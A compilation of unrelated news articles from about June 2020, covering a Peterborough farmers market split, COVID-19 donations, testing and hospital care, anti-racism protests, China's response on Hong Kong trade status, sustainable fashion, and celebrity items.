The group had previously circulated applications seeking vendors for a new market west of Morrow Park at the corner of Lansdowne and Park streets; the former Canada Malt factory on the property is in the final stages of demolition as its owners prepare for a new development.

But on Thursday the owner of the Malt property, David McGee, wrote in a message to The Examiner that demolition is ongoing and the site wouldnt be ready to have a market until July.

I believe the same group has contracted with Trentwinds as an alternative but Im not sure, he wrote.

Farmcrest Marketplace will offer produce, artisan cheeses and bedding plants, the press release states. Its summer outdoor season will run until Nov. 28, the release states, and the market plans to go inside the Trentwinds banquet space on the property for the winter.

The Morrow Park farmers market is not currently operating on Saturdays because its on city-owned property that is closed during the COVID-19 pandemic.

Jones (of T&R Jones Family Farm in Niagara-on-the-Lake) and Hope (of Crosswind Farm in Keene) resigned from the Morrow Park market at an annual general meeting in April.

While they were the vice-president and president respectively of the Morrow Park market, controversy ensued over vendors selling produce grown far from Peterborough but not necessarily identified as such.

The new board of the Morrow market is made up of Jessica Arsenault of Hard Winter Bread Co., Brenda Steed of Sugar Valley Farm and Maple Products in Otonabee-South Monaghan Township and Meredith Bruni of C. Bruni and Sons (a vegetable farm in Oshawa).

The new Farmcrest Marketplace at the Trentwinds will operate on Saturdays from 8 a.m. to 1 p.m.

The new market will compete on Saturday mornings with the Peterborough Regional Farmers Network market at the courtyard of Citi Centre at Charlotte and Aylmer streets, where all the produce for sale is locally grown. It runs 8 a.m. until noon.
Samsung employees across India have put together a voluntary contribution of INR 1 crore to support the country's fight against Covid-19. The money raised by the employees will be transferred by the Company to the PM CARES Fund.

This contribution, voluntarily raised by the employees from their individual salaries, is over and above the INR 20 crore donation made by the Company to the PM CARES Fund and other state funds, as part of the commitment to the country's battle against Covid-19.

Samsung, India's most trusted brand, and the country's biggest consumer electronics and smartphone maker, is also one of the country's largest employers. The Company started operations in India in 1995, and has remained a flag-bearer of 'Make in India' since then, with two factories-in Noida and Sriperumbudur, near Chennai-three R&D Centers and one Design Center, with 200,000 partner retail stores across the country. The Companys Noida factory is the largest mobile factory in the World and India's largest mobile phone exporter. Almost every Samsung device sold in India is made in India, by Indian employees.

Samsung believes in the philosophy of 'Make in India, Make for India and Make for the World'.

The voluntary contribution by the employees is a testament to the same commitment, and takes roots in the Samsung values of People and Co-prosperity, among the other values such as Excellence, Change and Integrity.

The Company remains committed to assist the local communities in these trying times, and beyond, through various citizenship initiatives. In the last two months, Samsung India has provided hospitals in Noida with medical equipment required in the preventive drive against the pandemic. This includes thousands of Preventive Masks and Personal Preventive Equipment (PPE) kits: Surgeon Gowns, Face Masks, Gloves, Preventive Eye wear, Hood Cap and Shoe Covers. The Company has also equipped hospitals and at other healthcare facilities with a large number of Infra-red Thermometers and Public Address systems. Along with these, Air Purifiers that are vital to improve the ambient air quality in medical facilities, have also been provided.

In Noida, and in two districts of in Tamil Nadu, Samsung has also supported the local administration, local police and migrant workers with daily essentials such as food packets and grocery.

Deliveries of Digital X-ray and Digital Ultrasound machines that Samsung provides to government hospitals as part of its Samsung Smart Healthcare citizenship program were also hastened. The most recent deliveries of the equipment have been to hospitals in Noida, Rajkot and Pune that have been designated as Covid-19 facilities. The Samsung Digital X-ray and Digital Ultrasound machines have aided in quick diagnostics.

Samsung customers can also carry out hassle-free transfer to the PM CARES Fund directly from their Galaxy smartphones by clicking on the PM CARES Fund option on the Samsung Pay application.
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Linkedin News Desk (Agence France-Presse) Lille, France  Fri, June 5, 2020 07:12 595 fc6853813033f564188675f8bdc3f75d 2 World France,Lille,anti-racism,anti-racism-protests,George-Floyd,black-lives-matter,Racism,racial-issues,racial-tension,racial-violence Free

French police fired tear gas to disperse around 2,000 demonstrators protesting against racism and police brutality in the northern city of Lille on Thursday.

"No justice, no peace," the crowd chanted, echoing the protests which have taken place across the United States following the death of unarmed African American George Floyd in the hands of police.

The marchers also brandished placards, some in English, bearing slogans now familiar in the US protests: "Black lives matter", "I can't breathe," and "Stop police violence".

The mainly young crowd in Lille marched to the city center, also calling for "justice for Adama".

Adama Traore was a young black man killed in French police custody in 2016.

On Thursday police in Lille fired tear gas to disperse the protesters but flashpoint incidents continued as night fell.

"Today people feel stigmatized, ostracized by the Republic and these people... demand above all to be integrated, recognized, treated like everyone else," one of the marchers, 32-year-old Sofian Betrancourt, told AFP.

"The question of police violence has been on the table for many years, but at the same time this inequality is displayed on a global basis," he added.
- King Lestsie III of Lesotho has been adjudged to be the ninth person in the world who has the most land sites

- The 56-year-old monarch first became king when his father was forced into exile in 1990 before he finally became the leader of the country in 1996 when his dad died

- Lestsie III had his first degree in Law from the National University of Lesotho after his college education in the UK

Our Manifesto: This is what YEN.com.gh believes in

According to Africa Facts Zone, King Lestsie III is the ninth biggest landowner in the world and he is the proud owner of the huge landmass of 11,720 square miles in Lesotho.

It should be noted that in his country, there is no individual ownership of land as sites are given to people to farm on in the bid to ensure a balanced land distribution. Aged 56, he became king after his father, Moshoeshoe II, went into exile in 1990.

Though the position of his father was briefly restored in 1995, Moshoeshoe II soon died in a car crash in early 1996, and Letsie again ascended the throne.

He had his education in the United Kingdom at Ampleforth College. Afterward, he proceeded to study at the National University of Lesotho where he graduated with a BA in law.

See his photos below:

Meanwhile, Nigeria ranked the most populated country on the African continent with a whopping population of 206.1 million people.

In a table of six African populous countries according to UN estimates, Ethiopia and Egypt followed in the second and third positions with 114.9 million and 102.3 million people respectively

In other news, Oye Diran is a Nigerian photographer who has been using his creativity and acute lenses to capture history in photographs.

His latest project which got him featured on CNN was inspired by his old family photo album as he was hooked by the clothes of iro and buba his parents wore in the 60s and 80s.

Now resident in New York, the Nigerian said that he was attracted by the richness and elegance of the old outfits, saying they reminded him of how well dressed his parents were when he was young.

Enjoyed reading our story? Download YEN's news app on Google Playstore now and stay up-to-date with major Ghana news!

Bawumia fires Mahama - Stop embarrassing yourself; always check the data before you talk | #Yencomgh

Use the comments section below to share your views on this story. Do you have a story to share or you have information for us? Get featured on YEN.com.gh. Message us on Facebook or Instagram

Source: YEN.com.gh
US decision to strip Hong Kong of special trading status violates WTO rules: China

Iran Press TV

Thursday, 04 June 2020 2:39 PM

China says a recent decision by the administration of US President Donald Trump to strip Hong Kong of its special trading status violates rules of the World Trade Organization (WTO).

Chinese Ministry of Commerce spokesman Gao Feng said at a regular press briefing in Beijing on Thursday that the special trading status given to the semi-autonomous territory was recognized by all WTO members and did not depend solely on the United States.

"If the United States disregards the fundamental principles of international relations and adopts unilateral measures according to its domestic laws, it will violate WTO rules and will not be in the interest of the United States," Gao added.

Separately, a spokesman of China's banking regulator said that Hong Kong's status as a financial hub will not be shaken by the potential sanctions.

"Hong Kong's financial market is running smoothly... and there is no abnormal capital outflow," said the spokesman, adding that this reflects the international market's confidence in the city.

In an attempt to punish China for introducing a new security law for Hong Kong, Trump said on Saturday that the city no longer warranted economic privileges and some of the territory's officials could face US sanctions.

The US president claimed the new legislation would decrease the level of autonomy in Hong Kong, and threatened to impose sanctions on Hong Kong officials who supported the law.

Despite Western criticism, however, Beijing insists that the new law does not pose a threat to Hong Kong's autonomy and the interests of foreign investors, noting that it is merely meant to prevent terrorism and foreign interference there, which were evident in violent, Western-backed protest rallies and riots there last year.

Senior authorities in Beijing and Hong Kong officials have assured the people in the region that the security law will only target a small group of trouble-makers who undermine the business hub's stability.

Gao also stressed at the briefing that the national security law will not undermine Hong Kong's autonomy. "It will not harm the legitimate interests of foreign investors," he added.

Chinese state media earlier this week lashed out at the US president for his decision on Hong Kong.

The official English-language paper China Daily said on Sunday that Trump's decision would hurt the United States and strengthen the bond between Hong Kong and mainland China.

Hong Kong has witnessed protests over the security law as a lockdown imposed over the coronavirus outbreak gradually loosens in the city.

The law was recently passed by the National People's Congress (NPC). It aims to boost security measures and safeguard national security in the Hong Kong Special Administrative Region (HKSAR) after violent protests rocked the region for months last year.

Hong Kong's legislature debated and passed the Beijing-proposed bill on May 28.

China has also dismissed US attempts at the United Nations to have the UN Security Council hold a meeting over Beijing's proposed national security law for Hong Kong, emphasizing that the issue is an internal matter.

During a recent UNSC meeting, American and Chinese envoys traded barbs over the imposition of the law on the semi-autonomous Chinese city.

The Chinese government says the United States and Britain fanned the flames of the unrest in Hong Kong by supporting the rioters.

Hong Kong has been governed under a "one-country, two-system" model since the city  a former British colony  was returned to China in 1997.

The developments add to growing friction between the world's two biggest economies amid the coronavirus crisis and in the wake of a two-year trade war that has not been fully resolved.

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Like the killing of George Floyd in Minnesota, the encounter was captured on a cellphone, and it enraged an Aboriginal community that is even more economically and socially disadvantaged than African Americans. Indigenous Australians make up 2 percent of the population and 27 percent of the prison population. They earn 33 percent less than other Australians and die 8.6 years earlier if they are male and 7.8 years earlier if they are female, official statistics show.
Source: Xinhua| 2020-06-05 06:02:16|Editor: huaxia

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SANTIAGO, June 4 (Xinhua) -- Chile has reported 118,292 cases of COVID-19 and 1,356 related deaths as of Thursday.

In the 24 hours ending 9 p.m. Wednesday (0100 GMT Thursday), the national health system detected 4,664 new cases and registered 81 new deaths, including 73 deaths in the capital Santiago and the metropolitan area, the highest number in a single day for the region.

The vast majority of new cases presented symptoms, while 492 were asymptomatic.

On Wednesday, the government once again extended lockdown measures for the metropolitan area by another week.

Deputy Health Minister Paula Daza said at a press conference that certain regions with small outbreaks were seeing record increases in the number of new cases, including Antofagasta to the north, with 146, and Valparaiso in central Chile, with 248. Neither region has imposed lockdown measures.

Meanwhile, Health Minister Jaime Manalich unveiled a tracing strategy to locate people who have been in contact with COVID-19 patients, so they can be quarantined in a bid to minimize the spread of the disease.

"We have to... immediately identify all of the close contacts to isolate them and have them undergo quarantine," said Manalich.

Health officials will take part in the tracing scheme, he added.

In May, Chile saw its number of COVID-19 cases and fatalities increase exponentially. Enditem
Ethical fashion campaigner Livia Firth says the coronavirus has sounded the alarm in the fashion industry that sweeping change is needed on its consequential environmental impacts.

The fashion industry has been talking for years about the need to change, she told The Independent. There have been conferences, panels, people talk and talk, and nothing happens. Now, with the pandemic, it's not should it change, it has to change.

Until now climate change and sustainability, poverty and migration have each been put in a box. The pandemic has shown us that everything is connected. It's one massive problem.

We can finally see it through a different lens and we are in a privileged moment to act. The pandemic has highlighted that sustainability is the only way forward.

She has been beating this drum long before it became fashionable. In 2007 she founded Eco-Age, a consultancy that works with brands to improve their green credentials, with her brother Nicola Giuggioli.

Ms Firth, who grew up in Rome, spoke on a Zoom call from her home in Italy, where she has been hunkering down for several months. The country has been one of the hardest-hit by the coronavirus and watching the outbreak unfold convinced her to shutter the companys Milan and London offices in quick succession.

We were concerned that everyone was coming to work on public transport because it wasnt safe. Now were all working remotely and spending millions of hours on Zoom, she said.

Ms Firth decamped for Italy after the UK government gave her little faith that they had acknowledged the gravity of the crisis. We thought we'd rather be in a country that takes it really seriously, she said.

In recent years, Ms Firth has emerged as a champion of sustainable fashion and a vocal critic of the apparel industrys failure to protect vulnerable workers in developing countries and its impacts on climate and biodiversity.

On a 2008 trip to Bangladesh as an Oxfam ambassador, she witnessed garment factory workers, mostly women and girls, working in dangerous, abusive conditions for derisory wages to make clothes destined for the high street. (She subsequently returned following the catastrophic Rana Plaza factory collapse in Dhaka which killed more than 1,100 people and injured 2,500, the deadliest garment industry accident in history.)

I had never realised there was such a strong link between fashion and human rights," she said.

Today, brands trip over themselves to extol their principled stances but it wasnt always so fashionable to be vocal about the inextricable issues of social and environmental justice.

Livia Firth with Colin Firth on the red carpet. She leveraged the global attention at awards events to provide as a platform to talk about environmental and social justice (Getty Images)

An opportunity presented itself after her husband, the actor Colin Firth, starred in the movie, A Single Man, in 2009. He was a hot favourite that awards season and a packed schedule of red-carpet events were lined up.

For Ms Firth, it was a Damascene moment. Everyone pays attention to the red carpet, she said. "I thought, if you want fashion to talk about human rights, I can give you fashion.

Before every phalanx of cameras, she appeared in an outfit from a eco-conscious designer, dubbing it the Green Carpet Challenge.

At the Golden Globes, she wore a reconfigured Christiana Couture wedding dress and for the Oscars, her look was literally rubbish: A black gown by Orsola de Castro, designed from scraps designated to the trash heap by luxury brands.

Every time I stepped out in yet another strange dress, made of milk fibre or rubbish, Tom Ford [the designer and director of A Single Man] would look at me and shake his head, she said. But he was instrumental in how I was able to do it.

Quirkiness aside (shes worn a dress of recycled plastic bottles), the experience proved a valuable lesson in what could be achieved by harnessing that vacuous red-carpet query, Who are you wearing?

"[The red carpet] is the biggest communication platform that exists. People are obsessed. So not to use it would be foolish, she said.

Glance through the glut of press cuts from her red carpet appearances and you find name-drops of ethical designers and descriptions of sustainable practices. Ms Firth subsequently leveraged the Green Carpet Challenge into a Vogue column (she was made Vogue Arabias sustainability editor-at-large in January) and convinced designers to let her auction off the outfits for Oxfam.

For the past three years, she has produced the Green Carpet Fashion Awards. In 2019, the event was held at the Teatro alla Scala in Milan and attended by Anna Wintour, Sophia Loren, Valentino, Stella McCartney along with legions of models and actors.

Recommended The food we produce is killing us and decimating biodiversity

She said: I came from years of being frustrated about campaigning for human rights and people not listening. Then I wore a dress and people listen. I found the vehicle. Fashion is a huge, powerful tool to talk about issues."

She added: "I never cared about fashion, never even read a fashion magazine until I started this.

"When I went to Bangladesh and talked to those women for the first time, I realised it was a feminist issue. Then you look at the devastating impact on the environment and the loss of biodiversity and its still through fashion. Then cotton crops, child slavery and bonded labour. Every issue is related to fashion."

She freely acknowledges that being married to an A-list star like Colin Firth gave her a huge platform to exploit.

I couldnt have done it without Colins support. It wouldnt have happened without him taking me around the world, she said. (The couple separated last year).

Ms Firth is frank that she only overcame a lack of industry knowledge with help from a powerful coterie of female supporters.

I met Franca Sozzani (the late editor of Italian Vogue) and she said, I'll take you to Paris couture and give you a bit of an education. Anna Wintour opened so many doors for me. Meryl Streep, Julianne Moore and Cate Blanchett all went the extra mile.

Fashion is at a moment of reckoning. The industry is responsible for nearly 20 percent of global waste water and about ten percent of the world's carbon emissions, the UN reported. There's well-documented examples of brands sending dead stock up in smoke.

It is also a key driver of loss of biodiversity, the theme of World Environment Day 2020. The clearing of trees for farmland, to provide space for the plants and animals that produce clothing fibers, is contributing to alarming rates of deforestation.

Monocrops and overgrazing of animals leads to soil erosion, depleting it of nutrients and the varied vegetation that supports thriving ecosystems. Intensive use of pesticides and antimicrobials used to preserve plant and animal stocks poison water supplies.

Cotton, which is used to some extent in three-quarters of clothing produced, accounts for 2.4% of farmland but uses 16% of global insecticides, one study found. A 2016 International Union for Conservation of Nature (IUCN) report urged the apparel sector to confront its impacts on biodiversity loss.

The crisis of the fashion industry has become devastatingly apparent in the wake of the coronavirus pandemic.

Zoonotic diseases, those which jump the species barrier from animals to humans such as Covid-19, are emerging at faster rates as humanity pushes deeper into diverse ecosystems for resources, bringing us into closer contact with wildlife than ever before.

At this inflection point, Ms Firth believes that fashion brands are finally waking up to the urgency to adapt.

Some [brands] have been slower than others, she said, pointing to the Kering Group (home of Gucci, Saint Laurent and Alexander McQueen) as a positive example of luxury brands doing massive work to overhaul supply chain.

Even some that have never done it until recently, like Diesel for example, are incredibly committed."

It doesn't matter who has been the first or the last," she added. "As long as more and more brands realise that they have to. If you want to be sustainable as a business and still be profitable in 10 years, you have taken care of your supply chain, the people and the raw materials."

In 2019, 56 signatories, representing 250 brands, joined the Fashion Pact, a coalition of brands and supply chain partners, to tackle global warming, restoring biodiversity and protecting the oceans. They are due to report on their progress this September.

They face a vertiginous climb: A 2019 update from the Pulse of the Fashion Industry found that although improvements have been made, the effort has slowed since 2018 and the fashion industry is still far from sustainable.

Firth has tackled some of the issues in her documentary series, Fashionscapes, laying bare ugly truths but also some unexpected good in supply chains.

In December, she visited Botswana's diamond mines. A partnership between the country's government and supplier De Beers provides around 20% of GDP and has transformed Botswana into Africas fourth wealthiest nation. The company has also invested in conservation areas. Making the film, she said, drove home the role that brands have to play in protecting biodiversity.

But diamonds are not forever: The film also explored Botswana's future without its mines, estimated to run out in 20-30 years time.

"I've travelled to a lot of supply chain countries - Bangladesh, Vietnam, Cambodia, Zambia and Kenya. The Amazon for the leather supply chain and Australia for wool," she said.

"In some countries, you meet desperate people enslaved in supply chain and see devastating environmental repercussions.

Her preconceptions of the diamond industry had been blood diamonds, she said. But in Botswana, every person said, "For us, this is not just a hole in the ground, its our pride and our country. We own the diamonds. They're so proud of what they do."

Botswana felt like a "blueprint" for change, Ms Firth said. You have businesses now which are more powerful than governments and its up to them to really behave in a responsible way.

Instead of planting 'x' number of trees, maybe we should be safeguarding entire regions.

She has pulled no punches on the fast-fashion industry and its proliferation of the cheap, disposable clothes which flood our wardrobes.

Fast fashion is a gigantic rotten issue, like fast food, and everything at that scale. It's very difficult to relate to because people feel so removed from it. It seems like a gift that we can consume so cheaply, Ms Firth said.

As consumers, its on us to change our attitudes to throwaway culture. Im 50 and when I grew up, fast fashion didnt exist. We had a high street but the prices were still quite expensive. We saved money to buy.

"Today, were brainwashed to think that its democratic to consume at those prices and we consume a lot. Now there is luxury fashion with prices that are beyond reasonable and then fast fashion, which is beyond reasonable too. They are two extremes.

In the middle, there is a wealth of independent and small designers. I really feel this is the moment that consumers will start to look at them as an alternative.

She added: We need to retrain ourselves to consume in a different way. Because when we look at the devastating impact, whether thats on labour in Bangladesh, or on biodiversity and conservation, hopefully it means before we buy our next thing, we'll really think twice.

The Independent is calling for an end to the high-risk sale and trafficking of wildlife with our campaign, Stop The Wildlife Trade
Akshay

With estimated pre-tax earnings of USD 48.5 million (roughly Rs 366 crore) from June 2019 to May 2020, Akshay is the only Indian to make the cut on this list.

Agencies/Unsplash

To extend his support to the #BlackLivesMatter movement here's everything Kanye is focusing on helping families of Ahmaud Arbery, Breonna Taylor, and Floyd.

Instagram

She said, I am not Amitabh Bachchan. People noticed me after Badhaai Ho. I think right now, I am known as a good character actor. I have not got that kind of fame. There are very few roles for women. I cant be the heroine. Men (of my age) can still do main-leads. Women cant.

Twitter

He had reportedly returned on the same flight as actor Prithviraj, director Blessy, and other crew members on May 22.

As they say, the power of social media often transcends all boundaries! In less than a week, people started helping Rajesh in whatever ways they could.
Work is underway to identify the best version of a test that could determine if a person has had COVID-19 by searching for antibodies in their blood.

Known as serology testing, the method can ascertain if a person was ever infected by looking for the specific antibodies that would be produced in response to the virus.

Only one version of the test has been approved for use by Health Canada to date, but the Roy Romanow Provincial Laboratory in Regina and Royal University Hospital in Saskatoon are also testing others to assess their effectiveness.

Of the 1,000 tests Saskatchewan has on hand for the purpose of experimentation, 300 are the DiaSorin LIAISON approved by Health Canada.

Once a test is chosen and validated, "we would scale up how much we have on hand," said Dr. Amanda Lang from the Roy Romanow Provincial Laboratory.

She said evaluating each test involves investigating how specific and sensitive the results are, as well as how accurate it would be.

Lang said the lab endeavours to answer those questions using samples.

"We need to have serum samples from patients who are known to have had COVID-19 and from patients who are known to not have been infected, as well as from patients who are known to have had disease from similar viruses," like those that cause the common cold, to ensure the test isn't producing false negatives or false positives, she said.

Measuring immunity

Dr. Saqib Shahab, chief medical health officer for Saskatchewan, said last month that serology tests will help measure the level of COVID-19 immunity in the community, because some asymptomatic cases may never be found through other methods.

He said it could be months before such tests become available for public use.

"Once the serology test is used to measure the level of immunity in the population, that will be one good thing to re-confirm ... our estimates of how much COVID-19 transmission has happened," he said.

"Is that confirmed by serology, or does that show that transmission is a bit higher?"

He said the biggest question will be how much protection a person will have from getting reinfected if they have had COVID-19 in the past.

"If you were never diagnosed with COVID or did have COVID in the past, what does the serological test tell you in terms of your current immunity, and how long does that immunity last?"
Premium cable and satellite network Epix was due to premiere a new six-part docuseries abut Charles Manson this month.

But on Thursday, the MGM-owned entity decided to postpone the June 14 debut of Helter Skelter: An American Myth, Deadline.com reported.

The outlet explained that Epix felt it would be inappropriate to release the series with its title relating to Manson's plans to incite a race war at a time when Black Lives Matter protests are taking place across the United States.

Premium cable network Epix has decided to postpone the release of its six-part Charles Manson docuseries Helter Skelter: An American Myth due to the Black Lives Matter protests

Epix has not announced when it now plans to air the docuseries.

In previous publicity for Helter Skelter: An American Myth, Epix described it as 'the most definitive recounting of the Manson Family story ever put on screen.'

The network promised the series would 'challenge everything viewers think they know about this bizarre chapter in American history.'

Manson, pictured after his arrest in 1969, was said to have been inspired by The Beatles' White Album released in November 1968, and in particular the track Helter Skelter which he thought foretold a bloody race war

Prosecutor Vincent Bugliosi, pictured during the trial, claimed Manson believed he could kickstart the race war with the brutal killings of Sharon Tate and four others at her home on Cielo Drive in August 1969 as well as the murders the next day of Leno and Rosemary La Bianca

Protests have taken place across the United States, including in Los Angeles (pictured), following the death of George Floyd in Minneapolis while in custody of a white police officer

The show features interviews and archival footage as well as chronicling the history of the Manson Family and the trial that followed the August 1969 brutal slayings of Sharon Tate and four others at the Los Angeles home Tate, who was eight and a half months pregnant, shared with husband Roman Polanski.

Manson and three of his followers - Leslie Van Houten, Susan Atkins, and Patricia Krenwinkel - went on trial in July 1970 for the Cielo Drive murders as well as the murders of Leno and Rosemary La Bianca.

During the trial, prosecutor Vincent Bugliosi said the murders were inspired by Manson's interpretation of The Beatles' White Album released in November 1968, and in particular the track Helter Skelter which he thought foretold a bloody race war.

Bugliosi claimed Manson believed he could kickstart the race war with the killings.

Manson died on November 19, 2017, having been incarcerated since his trial after California abolished the death penalty in 1972 and his sentence was commuted to life in prison.

Epix has not announced when it now plans to broadcast the docuseries
David M. Holmes, MD, right, with other volunteer medical professionals, cared for COVID-19 patients at Woodhull Hospital for 11 days.

Holmes Treated COVID-19 Patients at Brooklyn Hospital

David M. Holmes, MD, was supposed to be in Sierra Leone on a global health trip with students from the medical education program. But when the trip was canceled because of the pandemic, he decided to volunteer to care for COVID-19 patients in New York City.

I know I speak for our entire community in expressing deep gratitude to our dedicated health care workers and our UB faculty physicians and medical residents who are providing care to our communitys most vulnerable members during this pandemic.  Michael E. Cain, MD Vice president for health sciences and dean, Jacobs School of Medicine and Biomedical Sciences

Volunteering at Woodhull Hospital

Holmes is a clinical associate professor of family medicine and director of global health education. He is also a physician with UBMD Family Medicine. For decades, he has led medical missions of University at Buffalo students and practitioners all over the world. In April, his lifelong commitment to providing holistic, patient-centered care took him not to a remote village in an underdeveloped country, but rather to Woodhull Hospital in downtown Brooklyn, a designated COVID-19 facility. Upon his arrival in New York in April, Holmes was struck by the quietness. The city is a peaceful place to be right now, he said. Unlike the streets, however, the hospitals are far from peaceful. Because it was designated a COVID-19 hospital, Woodhull had transferred many of its non-COVID-19 patients to other hospitals. When Holmes arrived April 13, the majority of the hospitals 240 beds were filled with COVID-19 patients, with about 50 on ventilators. Woodhull normally has two intensive care units (ICU), but it turned three additional medical floors into ICUs with ventilators to meet the need. In addition, Holmes said, many patients, including those on ventilators, were backed up in the emergency room, requiring the ER to have a medicine service and a mini-ICU until beds opened up on the floors.

Lack of Dialysis Machines, Tragic Consequence

Holmes said the hospital was lucky to get old  but functional  ventilators from the Federal Emergency Management Administration. However, he explained, COVID-19 also can cause kidney failure, so many patients required dialysis. Unfortunately, there werent enough dialysis machines. A tragic consequence, Holmes said, is that some patients died simply because they couldnt get dialysis in time. The hospital has had an all-hands-on-deck response to the crisis, he said. Ambulatory clinics are closed and outpatient physicians, subspecialists and surgeons are now working as general medicine hospitalists. Volunteer physicians from various specialties have been working as hospitalists to help meet the need. Normally, the hospital has five in-patient medicine teams, but there were 13 when Holmes was there. All medicine residents were pulled from electives to help out on the in-patient services. Residents from other specialties, such as pediatrics, were assigned to in-patient medicine teams. Temp agencies also sent mid-level practitioners and nurses to help with the crisis. At the peak of the COVID crisis, there were about 40 patients dying each day in this hospital, Holmes said. Normally, before the COVID-19 pandemic, he said about 15 patients die each month in the hospital.

Some Patients Start Breathing on Their Own

Once a COVID-19 patient is intubated and placed on a ventilator, its very difficult for them to get off the ventilator and breathe on their own again, Holmes observed. Therefore, doctors do everything they can with high-flow oxygen to avoid using the vent, he said. However, eventually, it gets to the point where many patients will die from respiratory failure if they dont go on the vent, so were between a rock and a hard place. But some patients do manage to get off the vent and start breathing on their own, and when they do, its a celebration. At Woodhull, whenever a patient was weaned off the vent, they played rock music throughout the hospital. Hearing that music would always bring a smile to my face.

Various Treatments, Varying Results

The hospital had sufficient personal protective equipment (PPE) and vents, but other critical supplies were lacking, such as tubing for high-flow oxygen, medications, catheters and central line kits that are badly needed in the ICUs. At first, most COVID-19 patients were given hydroxychloroquine, the antimalarial drug thats also used to treat some autoimmune diseases. Holmes was told by the hospitals full-time attending physicians that they gave this medicine because it was standard of care, even though most didnt think it did much good. By the time he left the hospital, some research had confirmed that it wasnt effective treatment for COVID-19 and may be doing harm by increasing the risk of cardiac arrhythmias, so hydroxycholoroquine is being used much less often now. On the other hand, some of the critically ill patients were given plasma donations from recovered COVID-19 patients, and in some of them it seemed to make a difference in helping wean them off the ventilator. But here, too, Holmes noted, it isnt entirely clear that the plasma antibodies are whats making the difference. The jury is still out on this one, he said. Proning, where patients with respiratory distress and hypoxia are placed on their stomachs, rather than their backs, to help improve oxygenation, seemed to make a positive difference, he said.

No-Visitor Policy is Necessary But Difficult

During his 11-day volunteer stint at Woodhull, Holmes cared for approximately 30 COVID-19 patients. He treated a 77-year-old woman with Parkinsons dementia, whose husband, her caregiver, was hospitalized with COVID-19. She also tested positive but was asymptomatic. She was going to be placed in a nursing home until her husband recovered; however, as Holmes noted, there is no guarantee. One of the hardest parts about treating COVID-19, Holmes said, was the no-visitor policy. The no-visitor policy is understandable and needed, but I still feel badly that so many people are seriously ill and cant be visited by family or friends. Too often, when people bring their loved one to the ER, thats the last time they ever see them alive. During the day, when I had time, I would try to check in on a few patients whom I had seen in the ER to see how theyre doing and just listen to what they wanted to talk about.

The Importance of Social Visits

One patient I saw in the ER was a woman in her 60s with a beautiful Caribbean accent. At home, she felt weak, had a cough and was short of breath. Her children, who live out of town, tried calling several times, said Holmes. She didnt answer because she didnt have the energy. When they couldnt reach her, they called the police, who checked on her. They called the ambulance. Not surprisingly, her COVID test came back positive. Once transferred to a medical floor, she was no longer under Holmes care, but he made social visits almost every day. There wasnt much I could do about the COVID. She was on oxygen and receiving good medical care. However, I wondered if just by listening to her and encouraging her, I could help alleviate some of her anxiety. Here are some of the things she shared with me: She has six kids (five girls and one boy) and several grandkids. Shes been married for over 40 years. When I asked her what was the secret to marriage, she said, We fight. We wake up. We patch up  and then we fight again, and wake up and patch up and on it goes. When I asked her what helps her cope, she said, Talking with you. We all need to talk to someone. At the end of one visit, I asked her if she wanted to pray and she did. We prayed to cast all her burdens upon the Lord, including coronavirus, and that God would take care of her and help her to overcome this illness. She told me about how, as a child, she really wanted to be a nurse but her family struggled financially and could not afford nursing school. Eventually, she became a certified nurses aide. However, now at age 64, shes talking about maybe trying to go to nursing school to fulfill her childhood dream. She had good things to say about the nurses at Woodhull and how well they cared for her. I think they may have inspired her and re-ignited her desire to become a nurse. Little by little, Holmes saw that her condition began to improve, and her oxygen requirement went down from 15 liters per minute to just 2 liters per minute. During our last visit together, she gave me a colorful $50 bill from her home country as a gift worth a few cents in U.S. dollars, he said. On the bill she wrote To My Dr. God. bless u. Keep up the good work. And she signed her name to it. That was a very special gift. Im sure it was full of coronavirus, so I had to be careful about handling it, but I greatly appreciated it and her kindness.

Anything I Do is Just a Drop in the Bucket

Looking back on his shifts at Woodhull, Holmes recalled a recurring frustration. I wish I knew how to manage vents and care for critically ill patients because that was what was needed most there. Holmes said more pulmonologists and critical care specialists were needed at Woodhull and at the many other hospitals that desperately needed the same kind of help. The needs are so great, and I feel that anything I do is just a drop in the bucket, he said. However, Im learning to be content, knowing that we may have different types of training and skill sets, but we all have a part to play. If everyone is putting their drop in the bucket, then soon it will be full and the need will be met. Holmes noted that during his time at Woodhull, he learned a lot about COVID management. Ive also learned how incredible the doctors and other staff at this hospital are  the ones who are here full time and have been working so hard for so long to keep patients alive. Some have gotten sick with COVID themselves and a couple have died. Yet, those who are able keep coming to work and keep persevering with a positive attitude and genuine concern for the well-being of their patients and each other, he said. These are amazing people. It is a privilege to have been able to work with them and learn from them.

Hundreds From UB Helping COVID-19 Patients
The Duchess of Sussex has revealed she has sponsored a dog's kennel at a rescue centre in her son Archie's name.

The Mayhew shelter in north London asks members of the public to pay 10-a-month to sponsor a 'deluxe dog room'.

For that they get their name and a message displayed on the 'wall of sponsors' at their kennels, as well as goodies including an Oyster card hold, cuddly toy dog and a personalised certificate.

It comes after it was revealed Meghan is 'secretly' working with the Mayhew shelter as it 'desperately' struggles amid coronavirus.

The home, of which Meghan remains patron despite quitting royal duties, can support 30 dogs and 150 cats at a time but receives no government funding and relies on donation and sponsorships.

The Mayhew shelter in north London asks members of the public to pay 10 a month to sponsor a 'deluxe dog room'. Pictured, Meghan visited the shelter in January last year

Meghan revealed she had sponsored a dog kennel in the name of her son Archie (pictured in South Africa in September 2019)

Meghan revealed her sponsorship in a foreword for the charity's annual reviews, writing: 'I would like to extend a heartfelt thank you to all of the volunteers, staff and students at Mayhew.

'As an expression of my own commitment, I renewed my sponsorship of a dog kennel in the name of our son, Archie, to create an interim home for a pet in need. I hope you will show them your support in whatever ways you can.

'When you do, you will be contributing not just to animal welfare but to the shared welfare of us all.' Meghan has a rescue beagle, Guy, whom she adopted when she was an actress from a shelter in Canada, who now lives with her, Harry and Archie in LA.

She added: 'What I am even prouder of is that Mayhew's mission was made for moments like these. It's not just about cats and dogs; it's about all of us, about our ability to come together as a community.'

Meghan toured the charity's north-west London headquarters in Kensal Green in January last year when she was six months pregnant

The home, of which Meghan remains patron despite quitting royal duties, can support 30 dogs and 150 cats at a time but receives no government funding and relies on donation and sponsorships

Meghan moved to Los Angeles with Harry and Archie after the couple chose financial freedom over being working members of the monarchy.

The duchess brought her American rescue Beagle called Guy to the UK when she married Harry, and the pet remained with the family when they made their new home in California, as did their second dog, a black Labrador.

Meghan toured the charity's north-west London headquarters in Kensal Green in January last year when she was six months pregnant.

The charity was founded in 1886 and today sees itself as an animal welfare social worker, keeping cats and dogs, whether family pets or companions for the homeless, safe and well alongside their owners, and supporting communities.

